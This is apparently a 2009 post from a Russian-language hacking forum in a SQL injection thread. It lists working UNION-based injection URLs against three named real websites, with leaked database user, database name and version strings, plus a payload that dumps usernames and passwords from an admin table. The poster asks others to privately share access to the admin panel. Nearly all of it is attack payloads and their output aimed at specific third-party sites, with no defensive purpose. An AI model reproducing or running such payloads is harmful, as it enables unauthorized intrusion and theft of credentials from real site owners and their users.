SQL Инъекции

#11

03.08.2009, 15:10

nemaniak

Участник форума

Регистрация: 10.06.2008

Сообщений: 201

С нами: 9431076

Репутация: 229

pfibike.com

Код:

http://www.pfibike.com/dettagli2.php?id=5948'

Код:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,concat_ws(char(58),user(),database(),version()),7,8,9,10,11,12+--+

Код:

pfibike@localhost:pfibikedb:5.0.45-log

Код:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,group_concat(concat_ws(char(58),id,user,passw)),7,8,9,10,11,12+from+admin+--+

админки так и не нашел, если кому повезет, прошу черкнуть в ПМ

laforestadiscoclub.it

Код:

http://www.laforestadiscoclub.it/photo.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

Код:

forest@localhost:forest:5.0.45-log

(вывод в адрес картинки)

elenparati.it

движок такой же как и в прошлом примере, так что запрос аналогичен...

Код:

http://www.elenparati.it/php/index.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

вывод туда же)

Последний раз редактировалось jokester; 03.08.2009 в 15:37.. Причина: Правила темы читаем